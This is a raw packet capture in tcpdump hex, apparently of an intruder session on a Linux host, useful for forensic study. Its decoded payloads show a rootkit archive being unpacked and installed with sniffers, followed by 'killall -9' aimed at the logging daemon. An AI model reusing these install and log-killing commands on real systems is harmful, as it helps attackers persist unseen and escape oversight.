11:41:38.865738 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 731:843(112) ack 96 win 5792 <nop,nop,timestamp 8429824 8875339> (DF)
0x0000      4500 00a4 9e38 4000 4006 6ae0 800a 097d  E....8@.@.j....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0a44 6904 014f  >.i....eo..Di..O
0x0020      8018 16a0 a537 0000 0101 080a 0080 a100  .....7..........
0x0030      0087 6d4b 2e20 2e2e 2e2e 2e2e 2e2e 2e2e  ..mK............
0x0040      202e 2e2e 2e2e 2e2e 2e2e 2020 2020 2020  ................
0x0050      2020 2020 2020 3130 3025 2040 2020 2031  ......100%.@...1
0x0060      2e32 3120 4d42 2f73 0a0a 3036 3a34 313a  .21.MB/s..06:41:
0x0070      3336 2028 3731 2e39 3020 4b42 2f73 2920  36.(71.90.KB/s).
0x0080      2d20 6072 6b7a 7a2e 7467 7a27 2073 6176  -.`rkzz.tgz'.sav
0x0090      6564 205b 3234 3535 3339 2f32 3435 3533  ed.[245539/24553
0x00a0      395d 0a0a                                9]..
11:41:38.865743 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 731:843(112) ack 96 win 5792 <nop,nop,timestamp 8429824 8875339> (DF)
0x0000      4500 00a4 9e38 4000 4006 6ae0 800a 097d  E....8@.@.j....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0a44 6904 014f  >.i....eo..Di..O
0x0020      8018 16a0 a537 0000 0101 080a 0080 a100  .....7..........
0x0030      0087 6d4b 2e20 2e2e 2e2e 2e2e 2e2e 2e2e  ..mK............
0x0040      202e 2e2e 2e2e 2e2e 2e2e 2020 2020 2020  ................
0x0050      2020 2020 2020 3130 3025 2040 2020 2031  ......100%.@...1
0x0060      2e32 3120 4d42 2f73 0a0a 3036 3a34 313a  .21.MB/s..06:41:
0x0070      3336 2028 3731 2e39 3020 4b42 2f73 2920  36.(71.90.KB/s).
0x0080      2d20 6072 6b7a 7a2e 7467 7a27 2073 6176  -.`rkzz.tgz'.sav
0x0090      6564 205b 3234 3535 3339 2f32 3435 3533  ed.[245539/24553
0x00a0      395d 0a0a                                9]..
11:41:39.027737 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 843 win 6432 <nop,nop,timestamp 8875422 8429824> (DF)
0x0000      4500 0034 46a6 4000 2f06 d3e2 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0ab4  ...}.e..i..Oo...
0x0020      8010 1920 018f 0000 0101 080a 0087 6d9e  ..............m.
0x0030      0080 a100                                ....
11:41:49.837345 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: P 96:149(53) ack 843 win 6432 <nop,nop,timestamp 8880958 8429824> (DF)
0x0000      4500 0069 46a7 4000 2f06 d3ac 3e10 69a4  E..iF.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0ab4  ...}.e..i..Oo...
0x0020      8018 1920 c40e 0000 0101 080a 0087 833e  ...............>
0x0030      0080 a100 7461 7220 2d7a 7876 6620 726b  ....tar.-zxvf.rk
0x0040      7a7a 2e74 677a 3b72 6d20 2d72 6620 726b  zz.tgz;rm.-rf.rk
0x0050      7a7a 2e74 677a 3b63 6420 2e6d 6178 3b2e  zz.tgz;cd..max;.
0x0060      2f69 6e73 7461 6c6c 0a                   /install.
11:41:49.877548 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 843:849(6) ack 149 win 5792 <nop,nop,timestamp 8430923 8880958> (DF)
0x0000      4500 003a 9e39 4000 4006 6b49 800a 097d  E..:.9@.@.kI...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0ab4 6904 0184  >.i....eo...i...
0x0020      8018 16a0 2af1 0000 0101 080a 0080 a54b  ....*..........K
0x0030      0087 833e 2e6d 6178 2f0a                 ...>.max/.
11:41:49.877554 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 843:849(6) ack 149 win 5792 <nop,nop,timestamp 8430923 8880958> (DF)
0x0000      4500 003a 9e39 4000 4006 6b49 800a 097d  E..:.9@.@.kI...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0ab4 6904 0184  >.i....eo...i...
0x0020      8018 16a0 2af1 0000 0101 080a 0080 a54b  ....*..........K
0x0030      0087 833e 2e6d 6178 2f0a                 ...>.max/.
11:41:50.038074 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 849 win 6432 <nop,nop,timestamp 8881061 8430923> (DF)
0x0000      4500 0034 46a8 4000 2f06 d3e0 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 0184 6fd0 0aba  ...}.e..i...o...
0x0020      8010 1920 e701 0000 0101 080a 0087 83a5  ................
0x0030      0080 a54b                                ...K
11:41:50.038322 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 849:1153(304) ack 149 win 5792 <nop,nop,timestamp 8430939 8881061> (DF)
0x0000      4500 0164 9e3a 4000 4006 6a1e 800a 097d  E..d.:@.@.j....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0aba 6904 0184  >.i....eo...i...
0x0020      8018 16a0 0699 0000 0101 080a 0080 a55b  ...............[
0x0030      0087 83a5 2e6d 6178 2f73 7368 642e 7461  .....max/sshd.ta
0x0040      722e 677a 0a2e 6d61 782f 696e 7374 616c  r.gz..max/instal
0x0050      6c0a 2e6d 6178 2f75 7469 6c2e 7467 7a0a  l..max/util.tgz.
0x0060      2323 2323 2323 2323 2323 2323 2323 230a  ###############.
0x0070      2349 6e53 7441 6c4c 696e 472e 2e2e 230a  #InStAlLinG...#.
0x0080      2323 2323 2323 2323 2323 2323 2323 230a  ###############.
0x0090      5365 7474 696e 6720 7065 726d 6973 7369  Setting.permissi
0x00a0      6f6e 7320 2e2e 2e0a 6368 6174 7472 3a20  ons.....chattr:.
0x00b0      4e6f 2073 7563 6820 6669 6c65 206f 7220  No.such.file.or.
0x00c0      6469 7265 6374 6f72 7920 7768 696c 6520  directory.while.
0x00d0      7265 6164 696e 6720 666c 6167 7320 6f6e  reading.flags.on
0x00e0      202f 7573 722f 6c69 622f 5831 310d 0a63  ./usr/lib/X11..c
0x00f0      6861 7474 723a 204e 6f20 7375 6368 2066  hattr:.No.such.f
0x0100      696c 6520 6f72 2064 6972 6563 746f 7279  ile.or.directory
0x0110      2077 6869 6c65 2074 7279 696e 6720 746f  .while.trying.to
0x0120      2073 7461 7420 2f6c 6962 2f68 7474 7064  .stat./lib/httpd
0x0130      0d0a 446f 6e65 2073 6574 7469 6e67 2070  ..Done.setting.p
0x0140      6572 6d69 7373 696f 6e73 202e 2e2e 2049  ermissions.....I
0x0150      6e73 7461 6c6c 696e 6720 7072 6f67 7261  nstalling.progra
0x0160      6d73 2e0a                                ms..
11:41:50.038326 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 849:1153(304) ack 149 win 5792 <nop,nop,timestamp 8430939 8881061> (DF)
0x0000      4500 0164 9e3a 4000 4006 6a1e 800a 097d  E..d.:@.@.j....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0aba 6904 0184  >.i....eo...i...
0x0020      8018 16a0 0699 0000 0101 080a 0080 a55b  ...............[
0x0030      0087 83a5 2e6d 6178 2f73 7368 642e 7461  .....max/sshd.ta
0x0040      722e 677a 0a2e 6d61 782f 696e 7374 616c  r.gz..max/instal
0x0050      6c0a 2e6d 6178 2f75 7469 6c2e 7467 7a0a  l..max/util.tgz.
0x0060      2323 2323 2323 2323 2323 2323 2323 230a  ###############.
0x0070      2349 6e53 7441 6c4c 696e 472e 2e2e 230a  #InStAlLinG...#.
0x0080      2323 2323 2323 2323 2323 2323 2323 230a  ###############.
0x0090      5365 7474 696e 6720 7065 726d 6973 7369  Setting.permissi
0x00a0      6f6e 7320 2e2e 2e0a 6368 6174 7472 3a20  ons.....chattr:.
0x00b0      4e6f 2073 7563 6820 6669 6c65 206f 7220  No.such.file.or.
0x00c0      6469 7265 6374 6f72 7920 7768 696c 6520  directory.while.
0x00d0      7265 6164 696e 6720 666c 6167 7320 6f6e  reading.flags.on
0x00e0      202f 7573 722f 6c69 622f 5831 310d 0a63  ./usr/lib/X11..c
0x00f0      6861 7474 723a 204e 6f20 7375 6368 2066  hattr:.No.such.f
0x0100      696c 6520 6f72 2064 6972 6563 746f 7279  ile.or.directory
0x0110      2077 6869 6c65 2074 7279 696e 6720 746f  .while.trying.to
0x0120      2073 7461 7420 2f6c 6962 2f68 7474 7064  .stat./lib/httpd
0x0130      0d0a 446f 6e65 2073 6574 7469 6e67 2070  ..Done.setting.p
0x0140      6572 6d69 7373 696f 6e73 202e 2e2e 2049  ermissions.....I
0x0150      6e73 7461 6c6c 696e 6720 7072 6f67 7261  nstalling.progra
0x0160      6d73 2e0a                                ms..
11:41:50.199591 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 1153 win 7504 <nop,nop,timestamp 8881144 8430939> (DF)
0x0000      4500 0034 46a9 4000 2f06 d3df 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 0184 6fd0 0bea  ...}.e..i...o...
0x0020      8010 1d50 e13e 0000 0101 080a 0087 83f8  ...P.>..........
0x0030      0080 a55b                                ...[
11:41:50.225492 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1153:1173(20) ack 149 win 5792 <nop,nop,timestamp 8430958 8881144> (DF)
0x0000      4500 0048 9e3b 4000 4006 6b39 800a 097d  E..H.;@.@.k9...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0bea 6904 0184  >.i....eo...i...
0x0020      8018 16a0 8879 0000 0101 080a 0080 a56e  .....y.........n
0x0030      0087 83f8 2323 2323 2323 2323 2323 2323  ....############
0x0040      2323 2323 2323 230a                      #######.
11:41:50.225500 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1153:1173(20) ack 149 win 5792 <nop,nop,timestamp 8430958 8881144> (DF)
0x0000      4500 0048 9e3b 4000 4006 6b39 800a 097d  E..H.;@.@.k9...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0bea 6904 0184  >.i....eo...i...
0x0020      8018 16a0 8879 0000 0101 080a 0080 a56e  .....y.........n
0x0030      0087 83f8 2323 2323 2323 2323 2323 2323  ....############
0x0040      2323 2323 2323 230a                      #######.
11:41:50.388611 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 1173 win 7504 <nop,nop,timestamp 8881240 8430958> (DF)
0x0000      4500 0034 46aa 4000 2f06 d3de 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 0184 6fd0 0bfe  ...}.e..i...o...
0x0020      8010 1d50 e0b7 0000 0101 080a 0087 8458  ...P...........X
0x0030      0080 a56e                                ...n
11:41:50.394368 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1173:1298(125) ack 149 win 5792 <nop,nop,timestamp 8430975 8881240> (DF)
0x0000      4500 00b1 9e3c 4000 4006 6acf 800a 097d  E....<@.@.j....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0bfe 6904 0184  >.i....eo...i...
0x0020      8018 16a0 2c5e 0000 0101 080a 0080 a57f  ....,^..........
0x0030      0087 8458 2323 4164 6469 6e67 2053 6e69  ...X##Adding.Sni
0x0040      6666 6572 7323 230a 2323 2323 2323 2323  ffers##.########
0x0050      2323 2323 2323 2323 2323 230a 2323 2323  ###########.####
0x0060      2323 2323 2323 444f 4e45 2323 2323 2323  ######DONE######
0x0070      2323 2323 0a23 2323 2323 2323 2323 2323  ####.###########
0x0080      2323 2323 2323 2323 0a23 496e 5374 416c  ########.#InStAl
0x0090      4c20 436f 4d70 4c65 5465 4423 0a23 2323  L.CoMpLeTeD#.###
0x00a0      2323 2323 2323 2323 2323 2323 2323 2323  ################
0x00b0      0a                                       .
11:41:50.394379 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1173:1298(125) ack 149 win 5792 <nop,nop,timestamp 8430975 8881240> (DF)
0x0000      4500 00b1 9e3c 4000 4006 6acf 800a 097d  E....<@.@.j....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0bfe 6904 0184  >.i....eo...i...
0x0020      8018 16a0 2c5e 0000 0101 080a 0080 a57f  ....,^..........
0x0030      0087 8458 2323 4164 6469 6e67 2053 6e69  ...X##Adding.Sni
0x0040      6666 6572 7323 230a 2323 2323 2323 2323  ffers##.########
0x0050      2323 2323 2323 2323 2323 230a 2323 2323  ###########.####
0x0060      2323 2323 2323 444f 4e45 2323 2323 2323  ######DONE######
0x0070      2323 2323 0a23 2323 2323 2323 2323 2323  ####.###########
0x0080      2323 2323 2323 2323 0a23 496e 5374 416c  ########.#InStAl
0x0090      4c20 436f 4d70 4c65 5465 4423 0a23 2323  L.CoMpLeTeD#.###
0x00a0      2323 2323 2323 2323 2323 2323 2323 2323  ################
0x00b0      0a                                       .
11:41:50.557274 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 1298 win 7504 <nop,nop,timestamp 8881326 8430975> (DF)
0x0000      4500 0034 46ab 4000 2f06 d3dd 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 0184 6fd0 0c7b  ...}.e..i...o..{
0x0020      8010 1d50 dfd3 0000 0101 080a 0087 84ae  ...P............
0x0030      0080 a57f                                ....
 

Rootkit installation complets!!!

11:41:50.560002 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1298:1326(28) ack 149 win 5792 <nop,nop,timestamp 8430992 8881326> (DF)
0x0000      4500 0050 9e3d 4000 4006 6b2f 800a 097d  E..P.=@.@.k/...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0c7b 6904 0184  >.i....eo..{i...
0x0020      8018 16a0 e82c 0000 0101 080a 0080 a590  .....,..........
0x0030      0087 84ae 0a0a 0a0a 2a2a 2a52 4f4f 544b  ........***ROOTK
0x0040      4954 2049 4e53 5441 4c4c 4544 2a2a 2a0a  IT.INSTALLED***.
11:41:50.721104 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 1326 win 7504 <nop,nop,timestamp 8881411 8430992> (DF)
0x0000      4500 0034 46ac 4000 2f06 d3dc 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 0184 6fd0 0c97  ...}.e..i...o...
0x0020      8010 1d50 df51 0000 0101 080a 0087 8503  ...P.Q..........
0x0030      0080 a590                                ....
11:42:00.248522 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: P 149:182(33) ack 1326 win 7504 <nop,nop,timestamp 8886290 8430992> (DF)
0x0000      4500 0055 46ad 4000 2f06 d3ba 3e10 69a4  E..UF.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 0184 6fd0 0c97  ...}.e..i...o...
0x0020      8018 1d50 086d 0000 0101 080a 0087 9812  ...P.m..........
0x0030      0080 a590 6b69 6c6c 616c 6c20 2d39 2073  ....killall.-9.s
0x0040      6d62 6420 6e6d 6264 206c 6973 6120 6c6f  mbd.nmbd.lisa.lo
0x0050      6767 6572 0a                             gger.
11:42:00.284883 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: . ack 182 win 5792 <nop,nop,timestamp 8431962 8886290> (DF)
0x0000      4500 0034 9e3e 4000 4006 6b4a 800a 097d  E..4.>@.@.kJ...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0c97 6904 01a5  >.i....eo...i...
0x0020      8010 16a0 cf07 0000 0101 080a 0080 a95a  ...............Z
0x0030      0087 9812                                ....
11:42:00.284890 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: . ack 182 win 5792 <nop,nop,timestamp 8431962 8886290> (DF)
0x0000      4500 0034 9e3e 4000 4006 6b4a 800a 097d  E..4.>@.@.kJ...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0c97 6904 01a5  >.i....eo...i...
0x0020      8010 16a0 cf07 0000 0101 080a 0080 a95a  ...............Z
0x0030      0087 9812                                ....
11:42:00.306581 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1326:1350(24) ack 182 win 5792 <nop,nop,timestamp 8431964 8886290> (DF)
0x0000      4500 004c 9e3f 4000 4006 6b31 800a 097d  E..L.?@.@.k1...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0c97 6904 01a5  >.i....eo...i...
0x0020      8018 16a0 828b 0000 0101 080a 0080 a95c  ...............\
0x0030      0087 9812 6c69 7361 3a20 6e6f 2070 726f  ....lisa:.no.pro
0x0040      6365 7373 206b 696c 6c65 640a            cess.killed.
11:42:00.306588 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1326:1350(24) ack 182 win 5792 <nop,nop,timestamp 8431964 8886290> (DF)
0x0000      4500 004c 9e3f 4000 4006 6b31 800a 097d  E..L.?@.@.k1...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0c97 6904 01a5  >.i....eo...i...
0x0020      8018 16a0 828b 0000 0101 080a 0080 a95c  ...............\
0x0030      0087 9812 6c69 7361 3a20 6e6f 2070 726f  ....lisa:.no.pro
0x0040      6365 7373 206b 696c 6c65 640a            cess.killed.
11:42:00.467674 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 1350 win 7504 <nop,nop,timestamp 8886402 8431964> (DF)
0x0000      4500 0034 46ae 4000 2f06 d3da 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 01a5 6fd0 0caf  ...}.e..i...o...
0x0020      8010 1d50 c7cd 0000 0101 080a 0087 9882  ...P............
0x0030      0080 a95c                                ...\
11:42:00.468217 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1350:1376(26) ack 182 win 5792 <nop,nop,timestamp 8431980 8886402> (DF)
0x0000      4500 004e 9e40 4000 4006 6b2e 800a 097d  E..N.@@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0caf 6904 01a5  >.i....eo...i...
0x0020      8018 16a0 2873 0000 0101 080a 0080 a96c  ....(s.........l
0x0030      0087 9882 6c6f 6767 6572 3a20 6e6f 2070  ....logger:.no.p
0x0040      726f 6365 7373 206b 696c 6c65 640a       rocess.killed.
11:42:00.468222 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1350:1376(26) ack 182 win 5792 <nop,nop,timestamp 8431980 8886402> (DF)
0x0000      4500 004e 9e40 4000 4006 6b2e 800a 097d  E..N.@@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0caf 6904 01a5  >.i....eo...i...
0x0020      8018 16a0 2873 0000 0101 080a 0080 a96c  ....(s.........l
0x0030      0087 9882 6c6f 6767 6572 3a20 6e6f 2070  ....logger:.no.p
0x0040      726f 6365 7373 206b 696c 6c65 640a       rocess.killed.
11:42:00.631172 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 1376 win 7504 <nop,nop,timestamp 8886485 8431980> (DF)
0x0000      4500 0034 46af 4000 2f06 d3d9 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 01a5 6fd0 0cc9  ...}.e..i...o...
0x0020      8010 1d50 c750 0000 0101 080a 0087 98d5  ...P.P..........
0x0030      0080 a96c                                ...l
11:42:01.497919 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1376:1443(67) ack 182 win 5792 <nop,nop,timestamp 8432083 8886485> (DF)
0x0000      4500 0077 9e41 4000 4006 6b04 800a 097d  E..w.A@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0cc9 6904 01a5  >.i....eo...i...
0x0020      8018 16a0 1f1a 0000 0101 080a 0080 a9d3  ................
0x0030      0087 98d5 2f6c 6962 2f73 6574 7570 3a20  ..../lib/setup:.
0x0040      6c69 6e65 2035 353a 2075 6e65 7870 6563  line.55:.unexpec
0x0050      7465 6420 454f 4620 7768 696c 6520 6c6f  ted.EOF.while.lo
0x0060      6f6b 696e 6720 666f 7220 6d61 7463 6869  oking.for.matchi
0x0070      6e67 2060 2227 0a                        ng.`"'.
11:42:01.497927 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1376:1443(67) ack 182 win 5792 <nop,nop,timestamp 8432083 8886485> (DF)
0x0000      4500 0077 9e41 4000 4006 6b04 800a 097d  E..w.A@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0cc9 6904 01a5  >.i....eo...i...
0x0020      8018 16a0 1f1a 0000 0101 080a 0080 a9d3  ................
0x0030      0087 98d5 2f6c 6962 2f73 6574 7570 3a20  ..../lib/setup:.
0x0040      6c69 6e65 2035 353a 2075 6e65 7870 6563  line.55:.unexpec
0x0050      7465 6420 454f 4620 7768 696c 6520 6c6f  ted.EOF.while.lo
0x0060      6f6b 696e 6720 666f 7220 6d61 7463 6869  oking.for.matchi
0x0070      6e67 2060 2227 0a                        ng.`"'.
11:42:01.659625 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 1443 win 7504 <nop,nop,timestamp 8887012 8432083> (DF)
0x0000      4500 0034 46b0 4000 2f06 d3d8 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 01a5 6fd0 0d0c  ...}.e..i...o...
0x0020      8010 1d50 c497 0000 0101 080a 0087 9ae4  ...P............
0x0030      0080 a9d3                                ....
11:42:01.660109 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1443:1501(58) ack 182 win 5792 <nop,nop,timestamp 8432099 8887012> (DF)
0x0000      4500 006e 9e42 4000 4006 6b0c 800a 097d  E..n.B@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0d0c 6904 01a5  >.i....eo...i...
0x0020      8018 16a0 7ee9 0000 0101 080a 0080 a9e3  ....~...........
0x0030      0087 9ae4 2f6c 6962 2f73 6574 7570 3a20  ..../lib/setup:.
0x0040      6c69 6e65 2036 363a 2073 796e 7461 7820  line.66:.syntax.
0x0050      6572 726f 723a 2075 6e65 7870 6563 7465  error:.unexpecte
0x0060      6420 656e 6420 6f66 2066 696c 650a       d.end.of.file.
11:42:01.660114 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1443:1501(58) ack 182 win 5792 <nop,nop,timestamp 8432099 8887012> (DF)
0x0000      4500 006e 9e42 4000 4006 6b0c 800a 097d  E..n.B@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0d0c 6904 01a5  >.i....eo...i...
0x0020      8018 16a0 7ee9 0000 0101 080a 0080 a9e3  ....~...........
0x0030      0087 9ae4 2f6c 6962 2f73 6574 7570 3a20  ..../lib/setup:.
0x0040      6c69 6e65 2036 363a 2073 796e 7461 7820  line.66:.syntax.
0x0050      6572 726f 723a 2075 6e65 7870 6563 7465  error:.unexpecte
0x0060      6420 656e 6420 6f66 2066 696c 650a       d.end.of.file.
11:42:01.828408 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 1501 win 7504 <nop,nop,timestamp 8887096 8432099> (DF)
0x0000      4500 0034 46b1 4000 2f06 d3d7 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 01a5 6fd0 0d46  ...}.e..i...o..F
0x0020      8010 1d50 c3f9 0000 0101 080a 0087 9b38  ...P...........8
0x0030      0080 a9e3                                ....
11:42:43.818172 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: P 182:203(21) ack 1501 win 7504 <nop,nop,timestamp 8908601 8432099> (DF)
0x0000      4500 0049 46b2 4000 2f06 d3c1 3e10 69a4  E..IF.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 01a5 6fd0 0d46  ...}.e..i...o..F
0x0020      8018 1d50 7b59 0000 0101 080a 0087 ef39  ...P{Y.........9
0x0030      0080 a9e3 6364 202f 7573 722f 7368 6172  ....cd./usr/shar
0x0040      652f 6e73 6d61 696c 0a                   e/nsmail.
11:42:43.823675 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: . ack 203 win 5792 <nop,nop,timestamp 8436316 8908601> (DF)
0x0000      4500 0034 9e43 4000 4006 6b45 800a 097d  E..4.C@.@.kE...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0d46 6904 01ba  >.i....eo..Fi...
0x0020      8010 16a0 661a 0000 0101 080a 0080 ba5c  ....f..........\
0x0030      0087 ef39                                ...9
11:42:43.823680 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: . ack 203 win 5792 <nop,nop,timestamp 8436316 8908601> (DF)
0x0000      4500 0034 9e43 4000 4006 6b45 800a 097d  E..4.C@.@.kE...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0d46 6904 01ba  >.i....eo..Fi...
0x0020      8010 16a0 661a 0000 0101 080a 0080 ba5c  ....f..........\
0x0030      0087 ef39                                ...9
11:42:43.835087 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1501:1560(59) ack 203 win 5792 <nop,nop,timestamp 8436317 8908601> (DF)
0x0000      4500 006f 9e44 4000 4006 6b09 800a 097d  E..o.D@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0d46 6904 01ba  >.i....eo..Fi...
0x0020      8018 16a0 9053 0000 0101 080a 0080 ba5d  .....S.........]
0x0030      0087 ef39 2f62 696e 2f2f 7368 3a20 6364  ...9/bin//sh:.cd
0x0040      3a20 2f75 7372 2f73 6861 7265 2f6e 736d  :./usr/share/nsm
0x0050      6169 6c3a 204e 6f20 7375 6368 2066 696c  ail:.No.such.fil
0x0060      6520 6f72 2064 6972 6563 746f 7279 0a    e.or.directory.
11:42:43.835097 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1501:1560(59) ack 203 win 5792 <nop,nop,timestamp 8436317 8908601> (DF)
0x0000      4500 006f 9e44 4000 4006 6b09 800a 097d  E..o.D@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0d46 6904 01ba  >.i....eo..Fi...
0x0020      8018 16a0 9053 0000 0101 080a 0080 ba5d  .....S.........]
0x0030      0087 ef39 2f62 696e 2f2f 7368 3a20 6364  ...9/bin//sh:.cd
0x0040      3a20 2f75 7372 2f73 6861 7265 2f6e 736d  :./usr/share/nsm
0x0050      6169 6c3a 204e 6f20 7375 6368 2066 696c  ail:.No.such.fil
0x0060      6520 6f72 2064 6972 6563 746f 7279 0a    e.or.directory.
11:42:43.996262 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 1560 win 7504 <nop,nop,timestamp 8908693 8436317> (DF)
0x0000      4500 0034 46b3 4000 2f06 d3d5 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 01ba 6fd0 0d81  ...}.e..i...o...
0x0020      8010 1d50 5ed2 0000 0101 080a 0087 ef95  ...P^...........
0x0030      0080 ba5d                                ...]
11:42:46.728793 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: P 203:210(7) ack 1560 win 7504 <nop,nop,timestamp 8910092 8436317> (DF)
0x0000      4500 003b 46b4 4000 2f06 d3cd 3e10 69a4  E..;F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 01ba 6fd0 0d81  ...}.e..i...o...
0x0020      8018 1d50 4b53 0000 0101 080a 0087 f50c  ...PKS..........
0x0030      0080 ba5d 2e2f 6261 7368 0a              ...]./bash.
11:42:46.738160 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1560:1604(44) ack 210 win 5792 <nop,nop,timestamp 8436608 8910092> (DF)
0x0000      4500 0060 9e45 4000 4006 6b17 800a 097d  E..`.E@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0d81 6904 01c1  >.i....eo...i...
0x0020      8018 16a0 d686 0000 0101 080a 0080 bb80  ................
0x0030      0087 f50c 2f62 696e 2f2f 7368 3a20 2e2f  ..../bin//sh:../
0x0040      6261 7368 3a20 4e6f 2073 7563 6820 6669  bash:.No.such.fi
0x0050      6c65 206f 7220 6469 7265 6374 6f72 790a  le.or.directory.
11:42:46.738172 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1560:1604(44) ack 210 win 5792 <nop,nop,timestamp 8436608 8910092> (DF)
0x0000      4500 0060 9e45 4000 4006 6b17 800a 097d  E..`.E@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0d81 6904 01c1  >.i....eo...i...
0x0020      8018 16a0 d686 0000 0101 080a 0080 bb80  ................
0x0030      0087 f50c 2f62 696e 2f2f 7368 3a20 2e2f  ..../bin//sh:../
0x0040      6261 7368 3a20 4e6f 2073 7563 6820 6669  bash:.No.such.fi
0x0050      6c65 206f 7220 6469 7265 6374 6f72 790a  le.or.directory.
11:42:46.901962 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 1604 win 7504 <nop,nop,timestamp 8910179 8436608> (DF)
0x0000      4500 0034 46b5 4000 2f06 d3d3 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 01c1 6fd0 0dad  ...}.e..i...o...
0x0020      8010 1d50 57ae 0000 0101 080a 0087 f563  ...PW..........c
0x0030      0080 bb80                                ....
11:42:49.286397 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: F 210:210(0) ack 1604 win 7504 <nop,nop,timestamp 8911400 8436608> (DF)
0x0000      4500 0034 46b6 4000 2f06 d3d2 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 01c1 6fd0 0dad  ...}.e..i...o...
0x0020      8011 1d50 52e8 0000 0101 080a 0087 fa28  ...PR..........(
0x0030      0080 bb80                                ....
11:42:49.328509 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: . ack 211 win 5792 <nop,nop,timestamp 8436866 8911400> (DF)
0x0000      4500 0034 9e46 4000 4006 6b42 800a 097d  E..4.F@.@.kB...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0dad 6904 01c2  >.i....eo...i...
